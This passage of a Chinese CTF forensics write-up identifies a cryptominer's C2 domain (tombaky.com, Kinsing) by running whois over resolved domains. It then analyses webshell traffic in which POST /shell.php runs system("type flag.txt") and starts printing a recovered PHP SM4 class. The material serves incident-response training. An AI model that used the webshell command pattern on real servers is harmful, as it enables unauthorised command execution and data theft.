class="line">m.iqiyipic.com</span><br><span class="line">mesh.if.iqiyi.com</span><br><span class="line">mirrors.tuna.tsinghua.edu.cn</span><br><span class="line">msg.qy.net</span><br><span class="line">msg.video.dns.iqiyi.com</span><br><span class="line">o.pki.goog</span><br><span class="line">ocsp.comodoca.com.cdn.cloudflare.net</span><br><span class="line">ocsp.dcocsp.cn</span><br><span class="line">ocsp.dcocsp.cn.w.kunlunar.com</span><br><span class="line">ocsp.digicert.cn</span><br><span class="line">ocsp.digicert.cn.w.cdngslb.com</span><br><span class="line">ocsp.digicert.com</span><br><span class="line">ocsp.edge.digicert.com</span><br><span class="line">ocsp.globalsign.com</span><br><span class="line">ocsp.sectigo.com</span><br><span class="line">ocsp.sectigochina.com</span><br><span class="line">ocsp.sectigochina.com.cdn.cloudflare.net</span><br><span class="line">ocsp.trust-provider.cn</span><br><span class="line">ocsp.trust-provider.cn.c.vedcdnlb.com</span><br><span class="line">opencdnbdfctn.jomodns.com</span><br><span class="line">opencdnbdsimage.jomodns.com</span><br><span class="line">opencdnbdv6.f24i25ec.hzyidc.com</span><br><span class="line">opencdnbdv6.jomodns.com</span><br><span class="line">opencdnbdwm2.jomodns.com</span><br><span class="line">opencdnh3.jomodns.com</span><br><span class="line">opencdniqiyistaticv6.jomodns.com</span><br><span class="line">opencdnsslv6.jomodns.com</span><br><span class="line">opencdnzhihustatic.jomodns.com</span><br><span class="line">p0.ifengimg.com</span><br><span class="line">p0.ifengimg.com.cdn.dnsv1.com</span><br><span class="line">p1.ifengimg.com</span><br><span class="line">p1.ifengimg.com.cdn.dnsv1.com</span><br><span class="line">passport.weibo.com</span><br><span class="line">pdb.5hte21mz.com</span><br><span class="line">pic.cdn.iqiyi.com</span><br><span class="line">pic0.iqiyipic.com</span><br><span class="line">pic1.iqiyipic.com</span><br><span class="line">pic2.iqiyipic.com</span><br><span class="line">pic2.zhimg.com</span><br><span class="line">pic2.zhimg.com.a.bdydns.com</span><br><span class="line">pic3.iqiyipic.com</span><br><span class="line">pic3.zhimg.com</span><br><span class="line">pic3.zhimg.com.a.bdydns.com</span><br><span class="line">pic4.iqiyipic.com</span><br><span class="line">pic5.iqiyipic.com</span><br><span class="line">pic6.iqiyipic.com</span><br><span class="line">pic7.iqiyipic.com</span><br><span class="line">pic8.iqiyipic.com</span><br><span class="line">pic9.iqiyipic.com</span><br><span class="line">pica.zhimg.com</span><br><span class="line">pica.zhimg.com.a.bdydns.com</span><br><span class="line">picx.zhimg.com</span><br><span class="line">picx.zhimg.com.bytexns.com</span><br><span class="line">picx.zhimg.com.volcgslb.com</span><br><span class="line">pki-goog.l.google.com</span><br><span class="line">pos.baidu.com</span><br><span class="line">prod.balrog.prod.cloudops.mozgcp.net</span><br><span class="line">prod.detectportal.prod.cloudops.mozgcp.net</span><br><span class="line">prod.remote-settings.prod.webservices.mozgcp.net</span><br><span class="line">prod.sumo.prod.webservices.mozgcp.net</span><br><span class="line">push.services.mozilla.com</span><br><span class="line">region.ifeng.com</span><br><span class="line">render-server.cdn.bcebos.com</span><br><span class="line">render-server.cdn.bcebos.com.a.bdydns.com</span><br><span class="line">resolv.conf</span><br><span class="line">revive.outin.cn</span><br><span class="line">s.adxvip.com</span><br><span class="line">s.cpro.baidu.com</span><br><span class="line">s.cpro.e.shifen.com</span><br><span class="line">safebrowsing.googleapis.com</span><br><span class="line">security.iqiyi.com</span><br><span class="line">services.addons.mozilla.org</span><br><span class="line">shankapi.ifeng.com</span><br><span class="line">shankapi.ifeng.com.cdn.dnsv1.com</span><br><span class="line">simg.s.weibo.com</span><br><span class="line">simgs.gslb.sinaedge.com</span><br><span class="line">slb-01-rb-ipv6.ctripgslb.com</span><br><span class="line">slb-01-xy-rb-ali-ctrip1.ctripgslb.com</span><br><span class="line">slb-01-xy-rb-ali.ctripgslb.com</span><br><span class="line">slb-rb-cnc-ipv6-01.ctripgslb.com</span><br><span class="line">spool.grid.sinaedge.com</span><br><span class="line">stadig.ifeng.com</span><br><span class="line">static-d.iqiyi.com</span><br><span class="line">static-s.iqiyi.com</span><br><span class="line">static-sd.cdn.iqiyi.com</span><br><span class="line">static.cdn.iqiyi.com</span><br><span class="line">static.geetest.com</span><br><span class="line">static.geetest.com.eo.dnse2.com</span><br><span class="line">static.iqiyi.com</span><br><span class="line">static.outin.cn</span><br><span class="line">static.outin.cn.w.kunlunaq.com</span><br><span class="line">static.zhihu.com</span><br><span class="line">static.zhihu.com.cdn.dnsv1.com</span><br><span class="line">status.geotrust.com</span><br><span class="line">stc.iqiyipic.com</span><br><span class="line">support.mozilla.org</span><br><span class="line">sx-region-all.volcgtm.com</span><br><span class="line">t7z.cupid.iqiyi.com</span><br><span class="line">telemetry-incoming.r53-2.services.mozilla.com</span><br><span class="line">tombaky.com</span><br><span class="line">tvax1.sinaimg.cn</span><br><span class="line">tvax2.sinaimg.cn</span><br><span class="line">tvax3.sinaimg.cn</span><br><span class="line">tvax4.sinaimg.cn</span><br><span class="line">tvaxweibo.grid.sinaedge.com</span><br><span class="line">tvaxweibo.gslb.sinaedge.com</span><br><span class="line">unpkg.zhimg.com</span><br><span class="line">unpkg.zhimg.com.w.kunlunar.com</span><br><span class="line">us-west1.prod.sumo.prod.webservices.mozgcp.net</span><br><span class="line">us.grid.sinaedge.com</span><br><span class="line">v6-data.video.dns.iqiyi.com</span><br><span class="line">weibo.com</span><br><span class="line">weiboimgwx.grid.sinaedge.com</span><br><span class="line">weiboimgwx.gslb.sinaedge.com</span><br><span class="line">wn.pos.baidu.com</span><br><span class="line">wn.pos.e.shifen.com</span><br><span class="line">ww1.sinaimg.cn.w.alikunlun.com</span><br><span class="line">www.a.shifen.com</span><br><span class="line">www.baidu.com</span><br><span class="line">www.ctrip.com</span><br><span class="line">www.ifeng.com</span><br><span class="line">www.ifeng.com.cdn.dnsv1.com</span><br><span class="line">www.iqiyi.com</span><br><span class="line">www.wshifen.com</span><br><span class="line">www.zhihu.com</span><br><span class="line">www.zhihu.com.eo.dnse0.com</span><br><span class="line">wx1.sinaimg.cn</span><br><span class="line">wx3.sinaimg.cn</span><br><span class="line">wx4.sinaimg.cn</span><br><span class="line">x0.ifengimg.com</span><br><span class="line">x0.ifengimg.com.cdn.dnsv1.com</span><br><span class="line">x2.ifengimg.com</span><br><span class="line">x2.ifengimg.com.cdn.dnsv1.com</span><br><span class="line">y0.ifengimg.com</span><br><span class="line">y0.ifengimg.com.cdn.dnsv1.com</span><br><span class="line">y1.ifengimg.com</span><br><span class="line">y1.ifengimg.com.cdn.dnsv1.com</span><br><span class="line">zerossl.ocsp.sectigo.com</span><br><span class="line">zhihu-web-analytics.zhihu.com</span><br><span class="line">zhihu-web-analytics.zhihu.com.eo.dnse0.com</span><br></pre></td></tr></table></figure><p>从中筛选可疑域名</p><p>选取根域名查询whois</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line">tdnsstic1.cn</span><br><span class="line">a-msedge.net</span><br><span class="line">sinaimg.cn</span><br><span class="line">iqiyi.com</span><br><span class="line">sinaedge.com</span><br><span class="line">mozilla.org</span><br><span class="line">ifeng.com</span><br><span class="line">baidu.com</span><br><span class="line">mozilla.com</span><br><span class="line">cdnbuild.net</span><br><span class="line">edu.cn</span><br><span class="line">ifengcdn.com</span><br><span class="line">ifengimg.com</span><br><span class="line">dnsv1.com</span><br><span class="line">edgekey.net</span><br><span class="line">shifen.com</span><br><span class="line">cloudflare.net</span><br><span class="line">ubuntu.com</span><br><span class="line">adxvip.com</span><br><span class="line">fastapi.net</span><br><span class="line">bing.com</span><br><span class="line">mozilla.net</span><br><span class="line">mozaws.net</span><br><span class="line">baidustatic.com</span><br><span class="line">bdydns.com</span><br><span class="line">126.net</span><br><span class="line">163jiasu.com</span><br><span class="line">cdnhwc1.com</span><br><span class="line">zhihu.com</span><br><span class="line">firefox.com</span><br><span class="line">djc888.cn</span><br><span class="line">akamaiedge.net</span><br><span class="line">example.org</span><br><span class="line">weibocdn.com</span><br><span class="line">google.com</span><br><span class="line">cdnhwcbzj102.com</span><br><span class="line">com.cn</span><br><span class="line">ipv4only.arpa</span><br><span class="line">tencentclb.com</span><br><span class="line">bcebos.com</span><br><span class="line">iqiyipic.com</span><br><span class="line">qy.net</span><br><span class="line">pki.goog</span><br><span class="line">dcocsp.cn</span><br><span class="line">kunlunar.com</span><br><span class="line">digicert.cn</span><br><span class="line">cdngslb.com</span><br><span class="line">digicert.com</span><br><span class="line">globalsign.com</span><br><span class="line">sectigo.com</span><br><span class="line">sectigochina.com</span><br><span class="line">trust-provider.cn</span><br><span class="line">vedcdnlb.com</span><br><span class="line">jomodns.com</span><br><span class="line">hzyidc.com</span><br><span class="line">weibo.com</span><br><span class="line">5hte21mz.com</span><br><span class="line">zhimg.com</span><br><span class="line">bytexns.com</span><br><span class="line">volcgslb.com</span><br><span class="line">mozgcp.net</span><br><span class="line">resolv.conf</span><br><span class="line">outin.cn</span><br><span class="line">googleapis.com</span><br><span class="line">ctripgslb.com</span><br><span class="line">geetest.com</span><br><span class="line">dnse2.com</span><br><span class="line">kunlunaq.com</span><br><span class="line">geotrust.com</span><br><span class="line">volcgtm.com</span><br><span class="line">tombaky.com</span><br><span class="line">alikunlun.com</span><br><span class="line">ctrip.com</span><br><span class="line">wshifen.com</span><br><span class="line">dnse0.com</span><br><span class="line">dnse0.com</span><br></pre></td></tr></table></figure><p>题目说注意时区，这个机子用的是 America&#x2F;Los_Angeles</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/8ded39be-357f-4c71-b3ae-23623ce645c4-1758298447158-11.png"></p><p>让ai写一个脚本</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 定义要查询的域名列表</span></span><br><span class="line">DOMAINS=(</span><br><span class="line">    tdnsstic1.cn</span><br><span class="line">    a-msedge.net</span><br><span class="line">    sinaimg.cn</span><br><span class="line">    iqiyi.com</span><br><span class="line">    sinaedge.com</span><br><span class="line">    mozilla.org</span><br><span class="line">    ifeng.com</span><br><span class="line">    baidu.com</span><br><span class="line">    mozilla.com</span><br><span class="line">    cdnbuild.net</span><br><span class="line">    edu.cn</span><br><span class="line">    ifengcdn.com</span><br><span class="line">    ifengimg.com</span><br><span class="line">    dnsv1.com</span><br><span class="line">    edgekey.net</span><br><span class="line">    shifen.com</span><br><span class="line">    cloudflare.net</span><br><span class="line">    ubuntu.com</span><br><span class="line">    adxvip.com</span><br><span class="line">    fastapi.net</span><br><span class="line">    bing.com</span><br><span class="line">    mozilla.net</span><br><span class="line">    mozaws.net</span><br><span class="line">    baidustatic.com</span><br><span class="line">    bdydns.com</span><br><span class="line">    126.net</span><br><span class="line">    163jiasu.com</span><br><span class="line">    cdnhwc1.com</span><br><span class="line">    zhihu.com</span><br><span class="line">    firefox.com</span><br><span class="line">    djc888.cn</span><br><span class="line">    akamaiedge.net</span><br><span class="line">    example.org</span><br><span class="line">    weibocdn.com</span><br><span class="line">    google.com</span><br><span class="line">    cdnhwcbzj102.com</span><br><span class="line">    com.cn</span><br><span class="line">    ipv4only.arpa</span><br><span class="line">    tencentclb.com</span><br><span class="line">    bcebos.com</span><br><span class="line">    iqiyipic.com</span><br><span class="line">    qy.net</span><br><span class="line">    pki.goog</span><br><span class="line">    dcocsp.cn</span><br><span class="line">    kunlunar.com</span><br><span class="line">    digicert.cn</span><br><span class="line">    cdngslb.com</span><br><span class="line">    digicert.com</span><br><span class="line">    globalsign.com</span><br><span class="line">    sectigo.com</span><br><span class="line">    sectigochina.com</span><br><span class="line">    trust-provider.cn</span><br><span class="line">    vedcdnlb.com</span><br><span class="line">    jomodns.com</span><br><span class="line">    hzyidc.com</span><br><span class="line">    weibo.com</span><br><span class="line">    5hte21mz.com</span><br><span class="line">    zhimg.com</span><br><span class="line">    bytexns.com</span><br><span class="line">    volcgslb.com</span><br><span class="line">    mozgcp.net</span><br><span class="line">    resolv.conf</span><br><span class="line">    outin.cn</span><br><span class="line">    googleapis.com</span><br><span class="line">    ctripgslb.com</span><br><span class="line">    geetest.com</span><br><span class="line">    dnse2.com</span><br><span class="line">    kunlunaq.com</span><br><span class="line">    geotrust.com</span><br><span class="line">    volcgtm.com</span><br><span class="line">    tombaky.com</span><br><span class="line">    alikunlun.com</span><br><span class="line">    ctrip.com</span><br><span class="line">    wshifen.com</span><br><span class="line">    dnse0.com</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 循环遍历域名列表</span></span><br><span class="line"><span class="keyword">for</span> domain <span class="keyword">in</span> <span class="string">&quot;<span class="variable">$&#123;DOMAINS[@]&#125;</span>&quot;</span>; <span class="keyword">do</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;========================================&quot;</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;查询域名: <span class="variable">$domain</span>&quot;</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;----------------------------------------&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 执行 whois 命令并将输出存储在变量中</span></span><br><span class="line">    <span class="comment"># 对 .cn 域名使用特定的服务器以获得更准确的格式</span></span><br><span class="line">    <span class="keyword">if</span> [[ <span class="string">&quot;<span class="variable">$domain</span>&quot;</span> == *.cn ]]; <span class="keyword">then</span></span><br><span class="line">        raw_output=$(whois -h whois.cnnic.cn <span class="string">&quot;<span class="variable">$domain</span>&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        raw_output=$(whois <span class="string">&quot;<span class="variable">$domain</span>&quot;</span>)</span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 使用 grep 和正则表达式来筛选包含特定关键词的行</span></span><br><span class="line">    <span class="comment"># -i: 忽略大小写</span></span><br><span class="line">    <span class="comment"># -E: 使用扩展正则表达式，可以用 | 来表示“或”</span></span><br><span class="line">    <span class="comment"># ^\s*: 匹配行首的任意空格，确保我们匹配的是字段名而不是描述文本</span></span><br><span class="line">    <span class="comment"># (Creation|Registration|Updated|Modified|Expiry|Expiration|Sponsoring|Commencement): 匹配各种关键词</span></span><br><span class="line">    <span class="comment"># .*: 匹配该行的剩余部分</span></span><br><span class="line">    filtered_info=$(<span class="built_in">echo</span> <span class="string">&quot;<span class="variable">$raw_output</span>&quot;</span> | grep -iE <span class="string">&#x27;^\s*(Creation Date|Registration Time|Registered on|Updated Date|Last Modified|Last update of whois database)\s*:&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 检查是否找到了信息</span></span><br><span class="line">    <span class="keyword">if</span> [ -n <span class="string">&quot;<span class="variable">$filtered_info</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;<span class="variable">$filtered_info</span>&quot;</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;未能找到标准格式的注册或更新时间信息。&quot;</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;可能是域名无效，或其WHOIS信息格式特殊。&quot;</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">echo</span> -e <span class="string">&quot;========================================\n&quot;</span></span><br><span class="line">    <span class="comment"># 暂停1秒，避免查询过于频繁</span></span><br><span class="line">    <span class="built_in">sleep</span> 1</span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;所有域名查询完毕。&quot;</span></span><br></pre></td></tr></table></figure><p>经过人工筛选后，找到部分域名</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">tombaky.com # 法国IP?应该是这个？？？说系统时区了</span><br><span class="line">5hte21mz.com # 极其可疑(但是备案了</span><br><span class="line">tdnsstic1.cn</span><br><span class="line">cdnhwcbzj102.com</span><br><span class="line">jomodns.com</span><br><span class="line">hzyidc.com</span><br><span class="line">outin.cn</span><br><span class="line">adxvip.com</span><br><span class="line">ipv4only.arpa    # 假的</span><br></pre></td></tr></table></figure><p>认为是 <code>tombaky.com</code></p><p>在搜索的过程中发现，挖矿软件特征与 <code>kinsing</code> 很像，交上去发现对了</p><p>所以得到答案</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">192.168.145.131</span><br><span class="line">258</span><br><span class="line">/usr/sbin/sshd</span><br><span class="line">tombaky.com</span><br><span class="line">kinsing</span><br></pre></td></tr></table></figure><h2 id="checkwebshell"><a href="#checkwebshell" class="headerlink" title="checkwebshell"></a>checkwebshell</h2><p>流量开头发送了 <code>GET /shell.php</code>，应该是检查存活</p><p>执行命令的方式：POST &#x2F;shell.php，格式为 Form，”shell” &#x3D; “command”，在 Packet 696 出现了 <code>system(&quot;type flag.txt&quot;);</code> 可以认为是 Windows 服务器，得到了下面的代码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">SM4</span> </span>&#123;</span><br><span class="line">    <span class="keyword">const</span> <span class="variable constant_">ENCRYPT</span> = <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="variable">$sk</span>; </span><br><span class="line">    <span class="keyword">private</span> <span class="built_in">static</span> <span class="variable">$FK</span> = [<span class="number">0xA3B1BAC6</span>, <span class="number">0x56AA3350</span>, <span class="number">0x677D9197</span>, <span class="number">0xB27022DC</span>];</span><br><span class="line">    <span class="keyword">private</span> <span class="built_in">static</span> <span class="variable">$CK</span> = [</span><br><span class="line">        <span class="number">0x00070E15</span>, <span class="number">0x1C232A31</span>, <span class="number">0x383F464D</span>, <span class="number">0x545B6269</span>,</span><br><span class="line">        <span class="number">0x70777E85</span>, <span class="number">0x8C939AA1</span>, <span class="number">0xA8AFB6BD</span>, <span class="number">0xC4CBD2D9</span>,</span><br><span class="line">        <span class="number">0xE0E7EEF5</span>, <span class="number">0xFC030A11</span>, <span class="number">0x181F262D</span>, <span class="number">0x343B4249</span>,</span><br><span class="line">        <span class="number">0x50575E65</span>, <span class="number">0x6C737A81</span>, <span class="number">0x888F969D</span>, <span class="number">0xA4ABB2B9</span>,</span><br><span class="line">        <span class="number">0xC0C7CED5</span>, <span class="number">0xDCE3EAF1</span>, <span class="number">0xF8FF060D</span>, <span class="number">0x141B2229</span>,</span><br><span class="line">        <span class="number">0x30373E45</span>, <span class="number">0x4C535A61</span>, <span class="number">0x686F767D</span>, <span class="number">0x848B9299</span>,</span><br><span class="line">        <span class="number">0xA0A7AEB5</span>, <span class="number">0xBCC3CAD1</span>, <span class="number">0xD8DFE6ED</span>, <span class="number">0xF4FB0209</span>,</span><br><span class="line">        <span class="number">0x10171E25</span>, <span class="number">0x2C333A41</span>, <span class="number">0x484F565D</span>, <span class="number">0x646B7279</span></span><br><span class="line">    ];</span><br><span class="line">    <span class="keyword">private</span> <span class="built_in">static</span> <span class="variable">$SboxTable</span> = [</span><br><span class="line">        <span class="number">0xD6</span>, <span class="number">0x90</span>, <span class="number">0xE9</span>, <span class="number">0xFE</span>, <span class="number">0xCC</span>, <span class="number">0xE1</span>, <span class="number">0x3D</span>, <span class="number">0xB7</span>, <span class="number">0x16</span>, <span class="number">0xB6</span>, <span class="number">0x14</span>, <span class="number">0xC2</span>, <span class="number">0x28</span>, <span class="number">0xFB</span>, <span class="number">0x2C</span>, <span class="number">0x05</span>,</span><br><span class="line">        <span class="number">0x2B</span>, <span class="number">0x67</span>, <span class="number">0x9A</span>, <span class="number">0x76</span>, <span class="number">0x2A</span>, <span class="number">0xBE</span>, <span class="number">0x04</span>, <span class="number">0xC3</span>, <span class="number">0xAA</span>, <span class="number">0x44</span>, <span class="number">0x13</span>, <span class="number">0x26</span>, <span class="number">0x49</span>, <span class="number">0x86</span>, <span class="number">0x06</span>, <span class="number">0x99</span>,</span><br><span class="line">        <span class="number">0x9C</span>, <span class="number">0x42</span>, <span class="number">0x50</span>, <span class="number">0xF4</span>, <span class="number">0x91</span>, <span class="number">0xEF</span>, <span class="number">0x98</span>, <span class="number">0x7A</span>, <span class="number">0x33</span>, <span class="number">0x54</span>, <span class="number">0x0B</span>, <span class="number">0x43</span>, <span class="number">0xED</span>, <span class="number">0xCF</span>, <span class="number">0xAC</span>, <span class="number">0x62</span>,</span><br><span class="line">        <span class="number">0xE4</span>, <span class="number">0xB3</span>, <span class="number">0x1C</span>, <span class="number">0xA9</span>, <span class="number">0xC9</span>, <span class="number">0x08</span>, <span class="number">0xE8</span>, <span class="number">0x95</span>, <span class="number">0x80</span>, <span class="number">0xDF</span>, <span class="number">0x94</span>, <span class="number">0xFA</span>, <span class="number">0x75</span>, <span class="number">0x8F</span>, <span class="number">0x3F</span>, <span class="number">0xA6</span>,</span><br><span class="line">        <span class="number">0x47</span>, <span class="number">0x07</span>, <span class="number">0xA7</span>, <span class="number">0xFC</span>, <span class="number">0xF3</span>, <span class="number">0x73</span>, <span class="number">0x17</span>, <span class="number">0xBA</span>, <span class="number">0x83</span>, <span class="number">0x59</span>, <span class="number">0x3C</span>, <span class="number">0x19</span>, <span class="number">0xE6</span>, <span class="number">0x85</span>, <span class="number">0x4F</span>, <span class="number">0xA8</span>,</span><br><span class="line">        <span class="number">0x68</span>, <span class="number">0x6B</span>, <span class="number">0x81</span>, <span class="number">0xB2</span>, <span class="number">0x71</span>, <span class="number">0x64</span>, <span class="number">0xDA</span>, <span class="number">0x8B</span>, <span class="number">0xF8</span>, <span class="number">0xEB</span>, <span class="number">0x0F</span>, <span class="number">0x4B</span>, <span class="number">0x70</span>, <span class="number">0x56</span>, <span class="number">0x9D</span>, <span class="number">0x35</span>,</span><br><span class="line">        <span class="number">0x1E</span>, <span class="number">0x24</span>, <span class="number">0x0E</span>, <span class="number">0x5E</span>, <span class="number">0x63</span>, <span class="number">0x58</span>, <span class="number">0xD1</span>, <span class="number">0xA2</span>, <span class="number">0x25</span>, <span class="number">0x22</span>, <span class="number">0x7C</span>, <span class="number">0x3B</span>, <span class="number">0x01</span>, <span class="number">0x0D</span>, <span class="number">0x2D</span>, <span class="number">0xEC</span>,</span><br><span class="line">        